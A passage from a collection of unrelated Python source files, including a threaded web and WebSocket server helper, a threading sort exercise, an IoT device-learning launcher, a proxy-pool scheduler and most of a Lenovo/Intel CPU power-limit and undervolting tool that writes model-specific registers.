if self._server_thread is None:
return self
assert self._ioloop is not None
assert self._server is not None
assert self._stopped is not None
def shutdown() -> None:
if self._server is not None:
self._server.stop()
if self._ioloop is not None:
self._ioloop.stop()
self._ioloop.add_callback(shutdown)
self._stopped.wait()
self._ioloop.close()
self._server_thread = None
self._ioloop = None
self._server = None
self._stopped = None
return self
def start(
self: T, port: Optional[int] = None, timeout: int = 1, daemon: bool = True
) -> T:
"""Starts a server in a thread using the provided WSGI application.
Will wait until the thread has started to return.
Parameters
----------
port: int
Number of the port to use for the application, will find an open
port if one is not provided.
timeout: int
HTTP timeout in seconds. Default = 1.
daemon: bool
If True (default) use a daemon thread that will automatically terminate when
the main process terminates.
Returns
-------
self :
Returns self for chaining.
"""
if self._server_thread is not None:
return self
self._port = port
if self._port is None:
self._port = portpicker.pick_unused_port()
started = threading.Event()
self._stopped = threading.Event()
self._ioloop = tornado.ioloop.IOLoop()
wsgi_app = self.wsgi_app
self._server, start_server = _build_server(
started, self._stopped, self._ioloop, wsgi_app, self._port, timeout
)
self._server_thread = threading.Thread(target=start_server, daemon=daemon)
self._server_thread.start()
started.wait()
return self
|
WebSocketServer.py | import time
import threading
import logging
from SimpleWebSocketServer import WebSocket, SimpleWebSocketServer
_WS_PORT = 8037
_onMessage = None
class WebSocketHandler(WebSocket):
def handleMessage(self):
if self.data is None:
self.data = ''
# echo message back to client
# self.sendMessage(str(self.data))
if _onMessage: _onMessage( self.data )
self.sendMessage( '' ) #roger
def handleConnected(self):
print self.address, 'connected'
def handleClose(self):
print self.address, 'closed'
_Running = False
def _startServer():
global _Running
server = SimpleWebSocketServer( '' , _WS_PORT, WebSocketHandler)
_Running = True
logging.info( 'start remote input socket listener at port: %d' % _WS_PORT )
while _Running:
server.handleRequest()
time.sleep(0.003)
def startServer( messageCallback ):
global _onMessage
threading.Thread( target = _startServer ).start()
_onMessage = messageCallback
def stopServer():
global _Running
_Running = False
logging.info( 'stopping remote input socket listener at port: %d' % _WS_PORT )
|
TP81.py | #! /usr/bin/env python3
#encoding: UTF-8
import threading, random, time
# Exemple lancement de thread
# def f(x, y):
# # fonction à exécuter sur un thread à part
# # ...
# pass
#
# # création du thread
# th = threading.Thread(target=f, kwargs={'x' : valeur1, 'y' : valeur2})
# # démarrage du thread
# th.start()
# # attente de la fin du thread
# th.join()
def tri_bulle(list, lock):
if len(list) <= 1:
return
temp = 0
while temp != None:
temp = None
for i in range(len(list)-2, -1, -1):
if lock:
lock.acquire()
# lock[i].acquire()
if list[i] > list[i+1]:
# permutation => temp != None
temp = list[i]
list[i] = list[i+1]
list[i+1] = temp
if lock:
lock.release()
# lock[i].release()
def tri_sable(list, lock):
if len(list) <= 1:
return True
temp = 0
while temp != None:
temp = None
for i in range(len(list)-1):
if lock:
lock.acquire()
# lock[i].acquire()
if list[i] > list[i+1]:
# permutation => temp != None
temp = list[i]
list[i] = list[i+1]
list[i+1] = temp
if lock:
lock.release()
# lock[i].release()
# création liste non-ordonnée pour les tests
N = 1000
liste = []
for i in range(N):
liste.insert(random.randint(0, i), i)
print(liste)
td = time.process_time()
l = threading.Lock()
# l = [threading.Lock() for i in range(N)]
t1 = threading.Thread(target=tri_bulle, kwargs={'list':liste, 'lock':l})
t1.start()
t2 = threading.Thread(target=tri_sable, kwargs={'list':liste, 'lock':l})
t2.start()
t2.join()
t1.join()
te = time.process_time()
print("times:", td, te, te-td)
print(liste)
for i in range(N):
if i not in liste:
print (i, " not in liste")
|
__main__.py | """
Main script that starts the framework
"""
from threading import Thread
from config import FrameworkConfiguration
from discovery import network_analyzer, yeelight_analyzer
from learning import learning_yeelight
from discovery.network_analyzer import load_report_to_file
if __name__ == '__main__':
# Discovery: find devices in the local network
# 2 possible ways:
# print("Analyzing LAN using nmap")
# devices = network_analyzer.analyze_lan()
print("Analyzing LAN using Yeelight discovery")
devices = yeelight_analyzer.main()
th = []
print("\nSTART FRAMEWORK EXECUTION")
cnt = 0
if len(devices) == 0:
print("No device found. Try to use a previously detected device.")
discovery_report = load_report_to_file("reports0.dictionary").as_dict()
tmp_th = Thread(target=learning_yeelight.main, args=(discovery_report,))
cnt += 1
th.append(tmp_th)
for dev in devices:
# Learning: starting the learning process
# Should launch a thread for each device, with a maximum number of threads available
# Until now, this is done only for yeelight devices
if dev.protocol == "yeelight":
FrameworkConfiguration.directory = "./"
if cnt <= FrameworkConfiguration.max_threads:
tmp_th = Thread(target=learning_yeelight.main, args=(dev.as_dict(), ))
cnt += 1
th.append(tmp_th)
elif dev.protocol == "shelly":
# pass for now
pass
if len(th) > 0:
print("STARTING THREADS")
for t in th:
t.start()
for t in th:
t.join()
print("JOINED THREADS")
else:
print("No suitable device found.")
print("FINISH FRAMEWORK EXECUTION")
|
scheduler.py | import time
from multiprocessing import Process
from proxypool.api import app
from proxypool.getter import Getter
from proxypool.tester import Tester
from proxypool.setting import *
class Scheduler():
def schedule_tester(self, cycle=TESTER_CYCLE):
"""
定时测试代理
"""
tester = Tester()
while True:
print('测试器开始运行')
tester.run()
time.sleep(cycle)
def schedule_getter(self, cycle=GETTER_CYCLE):
"""
定时获取代理
"""
getter = Getter()
while True:
print('开始抓取代理')
getter.run()
time.sleep(cycle)
def schedule_api(self):
"""
开启API
"""
app.run(API_HOST, API_PORT)
def run(self):
print('代理池开始运行')
if TESTER_ENABLED:
tester_process = Process(target=self.schedule_tester)
tester_process.start()
if GETTER_ENABLED:
getter_process = Process(target=self.schedule_getter)
getter_process.start()
if API_ENABLED:
api_process = Process(target=self.schedule_api)
api_process.start()
|
lenovo_fix.py | #!/usr/bin/env python3
from __future__ import print_function
import argparse
import configparser
import glob
import gzip
import os
import re
import struct
import subprocess
import sys
from collections import defaultdict
from datetime import datetime
from errno import EACCES, EPERM
from multiprocessing import cpu_count
from platform import uname
from threading import Event, Thread
from time import time
import dbus
from dbus.mainloop.glib import DBusGMainLoop
from gi.repository import GLib
from mmio import MMIO, MMIOError
DEFAULT_SYSFS_POWER_PATH = '/sys/class/power_supply/AC*/online'
VOLTAGE_PLANES = {'CORE': 0, 'GPU': 1, 'CACHE': 2, 'iGPU UNSLICE': 3, 'ANALOGIO': 4}
CURRENT_PLANES = {'CORE': 0, 'GPU': 1, 'CACHE': 2}
TRIP_TEMP_RANGE = [40, 97]
UNDERVOLT_KEYS = ('UNDERVOLT', 'UNDERVOLT.AC', 'UNDERVOLT.BATTERY')
ICCMAX_KEYS = ('ICCMAX', 'ICCMAX.AC', 'ICCMAX.BATTERY')
power = {'source': None, 'method': 'polling'}
HWP_VALUE = 0x20
HWP_INTERVAL = 60
platform_info_bits = {
'maximum_non_turbo_ratio': [8, 15],
'maximum_efficiency_ratio': [40, 47],
'minimum_operating_ratio': [48, 55],
'feature_ppin_cap': [23, 23],
'feature_programmable_turbo_ratio': [28, 28],
'feature_programmable_tdp_limit': [29, 29],
'number_of_additional_tdp_profiles': [33, 34],
'feature_programmable_temperature_target': [30, 30],
'feature_low_power_mode': [32, 32],
}
thermal_status_bits = {
'thermal_limit_status': [0, 0],
'thermal_limit_log': [1, 1],
'prochot_or_forcepr_status': [2, 2],
'prochot_or_forcepr_log': [3, 3],
'crit_temp_status': [4, 4],
'crit_temp_log': [5, 5],
'thermal_threshold1_status': [6, 6],
'thermal_threshold1_log': [7, 7],
'thermal_threshold2_status': [8, 8],
'thermal_threshold2_log': [9, 9],
'power_limit_status': [10, 10],
'power_limit_log': [11, 11],
'current_limit_status': [12, 12],
'current_limit_log': [13, 13],
'cross_domain_limit_status': [14, 14],
'cross_domain_limit_log': [15, 15],
'cpu_temp': [16, 22],
'temp_resolution': [27, 30],
'reading_valid': [31, 31],
}
supported_cpus = {
'Haswell': (0x3C, 0x3F, 0x45, 0x46),
'Broadwell': (0x3D, 0x47, 0x4F, 0x56),
'Skylake': (0x4E, 0x55),
'Skylake-S': (0x5E,),
'Ice Lake': (0x7E,),
'Kaby Lake (R)': (0x8E, 0x9E),
'Coffee Lake': (0x9E,),
'Cannon Lake': (0x66,),
}
class bcolors:
YELLOW = '\033[93m'
GREEN = '\033[92m'
RED = '\033[91m'
RESET = '\033[0m'
BOLD = '\033[1m'
OK = bcolors.GREEN + bcolors.BOLD + 'OK' + bcolors.RESET
ERR = bcolors.RED + bcolors.BOLD + 'ERR' + bcolors.RESET
LIM = bcolors.YELLOW + bcolors.BOLD + 'LIM' + bcolors.RESET
log_history = set()
def log(msg, oneshot=False, end='\n'):
outfile = args.log if args.log else sys.stdout
if msg.strip() not in log_history or oneshot is False:
tstamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
full_msg = '{:s}: {:s}'.format(tstamp, msg) if args.log else msg
print(full_msg, file=outfile, end=end)
log_history.add(msg.strip())
def fatal(msg, code=1, end='\n'):
outfile = args.log if args.log else sys.stderr
tstamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
full_msg = '{:s}: [E] {:s}'.format(tstamp, msg) if args.log else '[E] {:s}'.format(msg)
print(full_msg, file=outfile, end=end)
sys.exit(code)
def warning(msg, oneshot=True, end='\n'):
outfile = args.log if args.log else sys.stderr
if msg.strip() not in log_history or oneshot is False:
tstamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
full_msg = '{:s}: [W] {:s}'.format(tstamp, msg) if args.log else '[W] {:s}'.format(msg)
print(full_msg, file=outfile, end=end)
log_history.add(msg.strip())
def writemsr(msr, val):
msr_list = ['/dev/cpu/{:d}/msr'.format(x) for x in range(cpu_count())]
if not os.path.exists(msr_list[0]):
try:
subprocess.check_call(('modprobe', 'msr'))
except subprocess.CalledProcessError:
fatal('Unable to load the msr module.')
try:
for addr in msr_list:
f = os.open(addr, os.O_WRONLY)
os.lseek(f, msr, os.SEEK_SET)
os.write(f, struct.pack('Q', val))
os.close(f)
except (IOError, OSError) as e:
if e.errno == EPERM or e.errno == EACCES:
fatal(
'Unable to write to MSR. Try to disable Secure Boot '
'and check if your kernel does not restrict access to MSR.'
)
else:
raise e
# returns the value between from_bit and to_bit as unsigned long
def readmsr(msr, from_bit=0, to_bit=63, cpu=None, flatten=False):
assert cpu is None or cpu in range(cpu_count())
if from_bit > to_bit:
fatal('Wrong readmsr bit params')
msr_list = ['/dev/cpu/{:d}/msr'.format(x) for x in range(cpu_count())]
if not os.path.exists(msr_list[0]):
try:
subprocess.check_call(('modprobe', 'msr'))
except subprocess.CalledProcessError:
fatal('Unable to load the msr module.')
try:
output = []
for addr in msr_list:
f = os.open(addr, os.O_RDONLY)
os.lseek(f, msr, os.SEEK_SET)
val = struct.unpack('Q', os.read(f, 8))[0]
os.close(f)
output.append(get_value_for_bits(val, from_bit, to_bit))
if flatten:
return output[0] if len(set(output)) == 1 else output
return output[cpu] if cpu is not None else output
except (IOError, OSError) as e:
if e.errno == EPERM or e.errno == EACCES:
fatal('Unable to read from MSR. Try to disable Secure Boot.')
else:
raise e
def get_value_for_bits(val, from_bit=0, to_bit=63):
mask = sum(2 ** x for x in range(from_bit, to_bit + 1))
return (val & mask) >> from_bit
def is_on_battery(config):
try:
for path in glob.glob(config.get('GENERAL', 'Sysfs_Power_Path', fallback=DEFAULT_SYSFS_POWER_PATH)):
with open(path) as f:
return not bool(int(f.read()))
raise
except:
warning('No valid Sysfs_Power_Path found! Trying upower method #1')
try:
out = subprocess.check_output(('upower', '-i', '/org/freedesktop/UPower/devices/line_power_AC'))
res = re.search(rb'online:\s+(yes|no)', out).group(1).decode().strip()
if res == 'yes':
return False
elif res == 'no':
return True
raise
except:
warning('Trying upower method #2')
try:
out = subprocess.check_output(('upower', '-i', '/org/freedesktop/UPower/devices/battery_BAT0'))
res = re.search(rb'state:\s+(.+)', out).group(1).decode().strip()
if res == 'discharging':
return True
elif res in ('fully-charged', 'charging'):
return False
except:
pass
warning('No valid power detection methods found. Assuming that the system is running on battery power.')
return True
def get_cpu_platform_info():
features_msr_value = readmsr(0xCE, cpu=0)
cpu_platform_info = {}
for key, value in platform_info_bits.items():
cpu_platform_info[key] = int(get_value_for_bits(features_msr_value, value[0], value[1]))
return cpu_platform_info
def get_reset_thermal_status():
# read thermal status
thermal_status_msr_value = readmsr(0x19C)
thermal_status = []
for core in range(cpu_count()):
thermal_status_core = {}
for key, value in thermal_status_bits.items():
thermal_status_core[key] = int(get_value_for_bits(thermal_status_msr_value[core], value[0], value[1]))
thermal_status.append(thermal_status_core)
# reset log bits
writemsr(0x19C, 0)
return thermal_status
def get_time_unit():
# 0.000977 is the time unit of my CPU
# TODO formula might be different for other CPUs
return 1.0 / 2 ** readmsr(0x606, 16, 19, cpu=0)
def get_power_unit():
# 0.125 is the power unit of my CPU
# TODO formula might be different for other CPUs
return 1.0 / 2 ** readmsr(0x606, 0, 3, cpu=0)
def get_critical_temp():
# the critical temperature for my CPU is 100 'C
return readmsr(0x1A2, 16, 23, cpu=0)
def get_cur_pkg_power_limits():
value = readmsr(0x610, 0, 55, flatten=True)
return {
'PL1': get_value_for_bits(value, 0, 14),
'TW1': get_value_for_bits(value, 17, 23),
'PL2': get_value_for_bits(value, 32, 46),
'TW2': get_value_for_bits(value, 49, 55),
}
def calc_time_window_vars(t):
time_unit = get_time_unit()
for Y in range(2 ** 5):
for Z in range(2 ** 2):
if t <= (2 ** Y) * (1.0 + Z / 4.0) * time_unit:
return (Y, Z)
raise ValueError('Unable to find a good combination!')
def calc_undervolt_msr(plane, offset):
"""Return the value to be written in the MSR 150h for setting the given
offset voltage (in mV) to the given voltage plane.
"""
assert offset <= 0
assert plane in VOLTAGE_PLANES
offset = int(round(offset * 1.024))
offset = 0xFFE00000 & ((offset & 0xFFF) << 21)
return 0x8000001100000000 | (VOLTAGE_PLANES[plane] << 40) | offset
def calc_undervolt_mv(msr_value):
"""Return the offset voltage (in mV) from the given raw MSR 150h value.
"""
offset = (msr_value & 0xFFE00000) >> 21
offset = offset if offset <= 0x400 else -(0x800 - offset)
return int(round(offset / 1.024))
def get_undervolt(plane=None, convert=False):
planes = [plane] if plane in VOLTAGE_PLANES else VOLTAGE_PLANES
out = {}
for plane in planes:
writemsr(0x150, 0x8000001000000000 | (VOLTAGE_PLANES[plane] << 40))
read_value = readmsr(0x150, flatten=True) & 0xFFFFFFFF
out[plane] = calc_undervolt_mv(read_value) if convert else read_value
return out
def undervolt(config):
for plane in VOLTAGE_PLANES:
write_offset_mv = config.getfloat(
'UNDERVOLT.{:s}'.format(power['source']), plane, fallback=config.getfloat('UNDERVOLT', plane, fallback=0.0)
)
write_value = calc_undervolt_msr(plane, write_offset_mv)
writemsr(0x150, write_value)
if args.debug:
write_value &= 0xFFFFFFFF
read_value = get_undervolt(plane)[plane]
read_offset_mv = calc_undervolt_mv(read_value)
match = OK if write_value == read_value else ERR
log(
'[D] Undervolt plane {:s} - write {:.0f} mV ({:#x}) - read {:.0f} mV ({:#x}) - match {}'.format(
plane, write_offset_mv, write_value, read_offset_mv, read_value, match
)
)
def calc_icc_max_msr(plane, current):
"""Return the value to be written in the MSR 150h for setting the given
IccMax (in A) to the given current plane.
"""
assert 0 < current <= 0x3FF
assert plane in CURRENT_PLANES
current = int(round(current * 4))
return 0x8000001700000000 | (CURRENT_PLANES[plane] << 40) | current
def calc_icc_max_amp(msr_value):
"""Return the max current (in A) from the given raw MSR 150h value.
"""
return (msr_value & 0x3FF) / 4.0
def get_icc_max(plane=None, convert=False):
planes = [plane] if plane in CURRENT_PLANES else CURRENT_PLANES
out = {}
for plane in planes:
writemsr(0x150, 0x8000001600000000 | (CURRENT_PLANES[plane] << 40))
read_value = readmsr(0x150, flatten=True) & 0x3FF
out[plane] = calc_icc_max_amp(read_value) if convert else read_value
return out
def set_icc_max(config):
for plane in CURRENT_PLANES:
try:
write_current_amp = config.getfloat(
'ICCMAX.{:s}'.format(power['source']), plane, fallback=config.getfloat('ICCMAX', plane, fallback=-1.0)
)
if write_current_amp > 0:
write_value = calc_icc_max_msr(plane, write_current_amp)
writemsr(0x150, write_value)
if args.debug:
write_value &= 0x3FF
read_value = get_icc_max(plane)[plane]
read_current_A = calc_icc_max_amp(read_value)
match = OK if write_value == read_value else ERR
log(
'[D] IccMax plane {:s} - write {:.2f} A ({:#x}) - read {:.2f} A ({:#x}) - match {}'.format(
plane, write_current_amp, write_value, read_current_A, read_value, match
)
)
except (configparser.NoSectionError, configparser.NoOptionError):
pass
def load_config():
config = configparser.ConfigParser()
config.read(args.config)
# config values sanity check
for power_source in ('AC', 'BATTERY'):
for option in ('Update_Rate_s', 'PL1_Tdp_W', 'PL1_Duration_s', 'PL2_Tdp_W', 'PL2_Duration_S'):
value = config.getfloat(power_source, option, fallback=None)
if value is not None:
value = config.set(power_source, option, str(max(0.001, value)))
elif option == 'Update_Rate_s':
fatal('The mandatory "Update_Rate_s" parameter is missing.')
trip_temp = config.getfloat(power_source, 'Trip_Temp_C', fallback=None)
if trip_temp is not None:
valid_trip_temp = min(TRIP_TEMP_RANGE[1], max(TRIP_TEMP_RANGE[0], trip_temp))
if trip_temp != valid_trip_temp:
config.set(power_source, 'Trip_Temp_C', str(valid_trip_temp))
log(
'[!] Overriding invalid "Trip_Temp_C" value in "{:s}": {:.1f} -> {:.1f}'.format(
power_source, trip_temp, valid_trip_temp
)
)
# fix any invalid value (ie. > 0) in the undervolt settings
for key in UNDERVOLT_KEYS:
for plane in VOLTAGE_PLANES:
if key in config:
value = config.getfloat(key, plane)
valid_value = min(0, value)
if value != valid_value:
config.set(key, plane, str(valid_value))
log(
'[!] Overriding invalid "{:s}" value in "{:s}" voltage plane: {:.0f} -> {:.0f}'.format(
key, plane, value, valid_value
)
)
# handle the case where only one of UNDERVOLT.AC, UNDERVOLT.BATTERY keys exists
# by forcing the other key to all zeros (ie. no undervolt)
if any(key in config for key in UNDERVOLT_KEYS[1:]):
for key in UNDERVOLT_KEYS[1:]:
if key not in config:
config.add_section(key)
for plane in VOLTAGE_PLANES:
value = config.getfloat(key, plane, fallback=0.0)
config.set(key, plane, str(value))
# Check for CORE/CACHE values mismatch
for key in UNDERVOLT_KEYS:
if key in config:
if config.getfloat(key, 'CORE', fallback=0) != config.getfloat(key, 'CACHE', fallback=0):
warning('On Skylake and newer CPUs CORE and CACHE values should match!')
break
iccmax_enabled = False
# check for invalid values (ie. <= 0 or > 0x3FF) in the IccMax settings
for key in ICCMAX_KEYS:
for plane in CURRENT_PLANES:
if key in config:
try:
value = config.getfloat(key, plane)
if value <= 0 or value >= 0x3FF:
raise ValueError
iccmax_enabled = True
except ValueError:
warning('Invalid value for {:s} in {:s}'.format(plane, key), oneshot=False)
config.remove_option(key, plane)
except configparser.NoOptionError:
pass
if iccmax_enabled:
warning('Warning! Raising IccMax above design limits can damage your system!')
return config
def calc_reg_values(platform_info, config):
regs = defaultdict(dict)
for power_source in ('AC', 'BATTERY'):
if platform_info['feature_programmable_temperature_target'] != 1:
warning("Setting temperature target is not supported by this CPU")
else:
# the critical temperature for my CPU is 100 'C
critical_temp = get_critical_temp()
# update the allowed temp range to keep at least 3 'C from the CPU critical temperature
global TRIP_TEMP_RANGE
TRIP_TEMP_RANGE[1] = min(TRIP_TEMP_RANGE[1], critical_temp - 3)
Trip_Temp_C = config.getfloat(power_source, 'Trip_Temp_C', fallback=None)
if Trip_Temp_C is not None:
trip_offset = int(round(critical_temp - Trip_Temp_C))
regs[power_source]['MSR_TEMPERATURE_TARGET'] = trip_offset << 24
else:
log('[I] {:s} trip temperature is disabled in config.'.format(power_source))
power_unit = get_power_unit()
PL1_Tdp_W = config.getfloat(power_source, 'PL1_Tdp_W', fallback=None)
PL1_Duration_s = config.getfloat(power_source, 'PL1_Duration_s', fallback=None)
PL2_Tdp_W = config.getfloat(power_source, 'PL2_Tdp_W', fallback=None)
PL2_Duration_s = config.getfloat(power_source, 'PL2_Duration_s', fallback=None)
if (PL1_Tdp_W, PL1_Duration_s, PL2_Tdp_W, PL2_Duration_s).count(None) < 4:
cur_pkg_power_limits = get_cur_pkg_power_limits()
if PL1_Tdp_W is None:
PL1 = cur_pkg_power_limits['PL1']
log('[I] {:s} PL1_Tdp_W disabled in config.'.format(power_source))
else:
PL1 = int(round(PL1_Tdp_W / power_unit))
if PL1_Duration_s is None:
TW1 = cur_pkg_power_limits['TW1']
log('[I] {:s} PL1_Duration_s disabled in config.'.format(power_source))
else:
Y, Z = calc_time_window_vars(PL1_Duration_s)
TW1 = Y | (Z << 5)
if PL2_Tdp_W is None:
PL2 = cur_pkg_power_limits['PL2']
log('[I] {:s} PL2_Tdp_W disabled in config.'.format(power_source))
else:
PL2 = int(round(PL2_Tdp_W / power_unit))
if PL2_Duration_s is None:
TW2 = cur_pkg_power_limits['TW2']
log('[I] {:s} PL2_Duration_s disabled in config.'.format(power_source))
else:
Y, Z = calc_time_window_vars(PL2_Duration_s)
TW2 = Y | (Z << 5)
regs[power_source]['MSR_PKG_POWER_LIMIT'] = (
PL1 | (1 << 15) | (1 << 16) | (TW1 << 17) | (PL2 << 32) | (1 << 47) | (TW2 << 49)
)
else:
log('[I] {:s} package power limits are disabled in config.'.format(power_source))
# cTDP
c_tdp_target_value = config.getint(power_source, 'cTDP', fallback=None)
if c_tdp_target_value is not None:
if platform_info['feature_programmable_tdp_limit'] != 1:
log("[W] cTDP setting not supported by this CPU")
elif platform_info['number_of_additional_tdp_profiles'] < c_tdp_target_value:
log("[W] the configured cTDP profile is not supported by this CPU")
else:
valid_c_tdp_target_value = max(0, c_tdp_target_value)
regs[power_source]['MSR_CONFIG_TDP_CONTROL'] = valid_c_tdp_target_value
return regs
def set_hwp():
# set HWP energy performance preference
cur_val = readmsr(0x774, cpu=0)
new_val = (cur_val & 0xFFFFFFFF00FFFFFF) | (HWP_VALUE << 24)
writemsr(0x774, new_val)
if args.debug:
read_value = readmsr(0x774, from_bit=24, to_bit=31)[0]
match = OK if HWP_VALUE == read_value else ERR
log('[D] HWP - write "{:#02x}" - read "{:#02x}" - match {}'.format(HWP_VALUE, read_value, match))
def power_thread(config, regs, exit_event):
try:
mchbar_mmio = MMIO(0xFED159A0, 8)
except MMIOError:
warning('Unable to open /dev/mem. TDP override might not work correctly.')
warning('Try to disable Secure Boot and/or enable CONFIG_DEVMEM in kernel config.')
mchbar_mmio = None
next_hwp_write = 0
while not exit_event.is_set():
# log thermal status
if args.debug:
thermal_status = get_reset_thermal_status()
for index, core_thermal_status in enumerate(thermal_status):
for key, value in core_thermal_status.items():
log('[D] core {} thermal status: {} = {}'.format(index, key.replace("_", " "), value))
# switch back to sysfs polling
if power['method'] == 'polling':
power['source'] = 'BATTERY' if is_on_battery(config) else 'AC'
# set temperature trip point
if 'MSR_TEMPERATURE_TARGET' in regs[power['source']]:
write_value = regs[power['source']]['MSR_TEMPERATURE_TARGET']
writemsr(0x1A2, write_value)
if args.debug:
read_value = readmsr(0x1A2, 24, 29, flatten=True)
match = OK if write_value >> 24 == read_value else ERR
log(
'[D] TEMPERATURE_TARGET - write {:#x} - read {:#x} - match {}'.format(
write_value >> 24, read_value, match
)
)
# set cTDP
if 'MSR_CONFIG_TDP_CONTROL' in regs[power['source']]:
write_value = regs[power['source']]['MSR_CONFIG_TDP_CONTROL']
writemsr(0x64B, write_value)
if args.debug:
read_value = readmsr(0x64B, 0, 1, flatten=True)
match = OK if write_value == read_value else ERR
log(
'[D] CONFIG_TDP_CONTROL - write {:#x} - read {:#x} - match {}'.format(
write_value, read_value, match
)
)
# set PL1/2 on MSR
write_value = regs[power['source']]['MSR_PKG_POWER_LIMIT']
writemsr(0x610, write_value)
if args.debug:
read_value = readmsr(0x610, 0, 55, flatten=True)
match = OK if write_value == read_value else ERR
log(
'[D] MSR PACKAGE_POWER_LIMIT - write {:#x} - read {:#x} - match {}'.format(
write_value, read_value, match
)
)
if mchbar_mmio is not None:
# set MCHBAR register to the same PL1/2 values
mchbar_mmio.write32(0, write_value & 0xFFFFFFFF)
mchbar_mmio.write32(4, write_value >> 32)
if args.debug:
read_value = mchbar_mmio.read32(0) | (mchbar_mmio.read32(4) << 32)
match = OK if write_value == read_value else ERR
log(
'[D] MCHBAR PACKAGE_POWER_LIMIT - write {:#x} - read {:#x} - match {}'.format(
write_value, read_value, match
)
)
wait_t = config.getfloat(power['source'], 'Update_Rate_s')
enable_hwp_mode = config.getboolean('AC', 'HWP_Mode', fallback=False)
# set HWP less frequently. Just to be safe since (e.g.) TLP might reset this value
if (
enable_hwp_mode
and next_hwp_write <= time()
and (
(power['method'] == 'dbus' and power['source'] == 'AC')
or (power['method'] == 'polling' and not is_on_battery(config))
)
):
set_hwp()
next_hwp_write = time() + HWP_INTERVAL
else:
exit_event.wait(wait_t)
def check_kernel():
if os.geteuid() != 0:
fatal('No root no party. Try again with sudo.')
kernel_config = None
try:
with open(os.path.join('/boot', 'config-{:s}'.format(uname()[2]))) as f:
kernel_config = f.read()
except IOError:
config_gz_path = os.path.join('/proc', 'config.gz')
try:
if not os.path.isfile(config_gz_path):
subprocess.check_call(('modprobe', 'configs'))
with gzip.open(config_gz_path) as f:
kernel_config = f.read().decode()
except (subprocess.CalledProcessError, IOError):
pass
if kernel_config is None:
log('[W] Unable to obtain and validate kernel config.')
return
elif not re.search('CONFIG_DEVMEM=y', kernel_config):
warning('Bad kernel config: you need CONFIG_DEVMEM=y.')
if not re.search('CONFIG_X86_MSR=(y|m)', kernel_config):
fatal('Bad kernel config: you need CONFIG_X86_MSR builtin or as module.')
def check_cpu():
try:
with open('/proc/cpuinfo') as f:
cpuinfo = {}
for row in f.readlines():
try:
key, value = map(lambda x: x.strip(), row.split(':'))
if key == 'processor' and value == '1':
break
try:
cpuinfo[key] = int(value, 0)
except ValueError:
cpuinfo[key] = value
except ValueError:
pass
if cpuinfo['vendor_id'] != 'GenuineIntel':
fatal('This tool is designed for Intel CPUs only.')
cpu_model = None
for model in supported_cpus:
if cpuinfo['model'] in supported_cpus[model]:
cpu_model = model
break
if cpuinfo['cpu family'] != 6 or cpu_model is None:
fatal('Your CPU model is not supported.')
log('[I] Detected CPU architecture: Intel {:s}'.format(cpu_model))
except:
fatal('Unable to identify CPU model.')
def monitor(exit_event, wait):
IA32_THERM_STATUS = 0x19C
IA32_PERF_STATUS = 0x198
MSR_RAPL_POWER_UNIT = 0x606
MSR_INTEL_PKG_ENERGY_STATUS = 0x611
MSR_PP1_ENERGY_STATUS = 0x641
MSR_DRAM_ENERGY_STATUS = 0x619
wait = max(0.1, wait)
rapl_power_unit = 0.5 ** readmsr(MSR_RAPL_POWER_UNIT, from_bit=8, to_bit=12, cpu=0)
power_plane_msr = {
'Package': MSR_INTEL_PKG_ENERGY_STATUS,
'Graphics': MSR_PP1_ENERGY_STATUS,
'DRAM': MSR_DRAM_ENERGY_STATUS,
}
prev_energy = {
'Package': (readmsr(MSR_INTEL_PKG_ENERGY_STATUS, cpu=0) * rapl_power_unit, time()),
'Graphics': (readmsr(MSR_PP1_ENERGY_STATUS, cpu=0) * rapl_power_unit, time()),
'DRAM': (readmsr(MSR_DRAM_ENERGY_STATUS, cpu=0) * rapl_power_unit, time()),
}
undervolt_values = get_undervolt(convert=True)
undervolt_output = ' | '.join('{:s}: {:.2f} mV'.format(plane, undervolt_values[plane]) for plane in VOLTAGE_PLANES)
log('[D] Undervolt offsets: {:s}'.format(undervolt_output))
iccmax_values = get_icc_max(convert=True)
iccmax_output = ' | '.join('{:s}: {:.2f} A'.format(plane, iccmax_values[plane]) for plane in CURRENT_PLANES)
log('[D] IccMax: {:s}'.format(iccmax_output))
log('[D] Realtime monitoring of throttling causes:\n')
while not exit_event.is_set():
value = readmsr(IA32_THERM_STATUS, from_bit=0, to_bit=15, cpu=0)
offsets = {'Thermal': 0, 'Power': 10, 'Current': 12, 'Cross-domain (e.g. GPU)': 14}
output = ('{:s}: {:s}'.format(cause, LIM if bool((value >> offsets[cause]) & 1) else OK) for cause in offsets)
# ugly code, just testing...
vcore = readmsr(IA32_PERF_STATUS, from_bit=32, to_bit=47, cpu=0) / (2.0 ** 13) * 1000
stats2 = {'VCore': '{:.0f} mV'.format(vcore)}
for power_plane in ('Package', 'Graphics', 'DRAM'):
energy_j = readmsr(power_plane_msr[power_plane], cpu=0) * rapl_power_unit
now = time()
prev_energy[power_plane], energy_w = (
(energy_j, now),
(energy_j - prev_energy[power_plane][0]) / (now - prev_energy[power_plane][1]),
)
stats2[power_plane] = '{:.1f} W'.format(energy_w)
output2 = ('{:s}: {:s}'.format(label, stats2[label]) for label in stats2)
terminator = '\n' if args.log else '\r'
log(
'[{}] {} || {}{}'.format(power['source'], ' - '.join(output), ' - '.join(output2), ' ' * 10),
end=terminator,
)
exit_event.wait(wait)
def main():
global args
parser = argparse.ArgumentParser()
exclusive_group = parser.add_mutually_exclusive_group()
exclusive_group.add_argument('--debug', action='store_true', help='add some debug info and additional checks')
exclusive_group.add_argument(
'--monitor',
metavar='update_rate',
const=1.0,
type=float,
nargs='?',
help='realtime monitoring of throttling causes (default 1s)',
)
parser.add_argument('--config', default='/etc/lenovo_fix.conf', help='override default config file path')
parser.add_argument('--force', action='store_true', help='bypass compatibility checks (EXPERTS only)')
parser.add_argument('--log', metavar='/path/to/file', help='log to file instead of stdout')
args = parser.parse_args()
if args.log:
try:
args.log = open(args.log, 'w')
except:
args.log = None
fatal('Unable to write to the log file!')
if not args.force:
check_kernel()
check_cpu()
log('[I] Loading config file.')
config = load_config()
power['source'] = 'BATTERY' if is_on_battery(config) else 'AC'
platform_info = get_cpu_platform_info()
if args.debug:
for key, value in platform_info.items():
log('[D] cpu platform info: {} = {}'.format(key.replace("_", " "), value))
regs = calc_reg_values(platform_info, config)
if not config.getboolean('GENERAL', 'Enabled'):
return
exit_event = Event()
thread = Thread(target=power_thread, args=(config, regs, exit_event))
thread.daemon = True
thread.start()
undervolt(config)
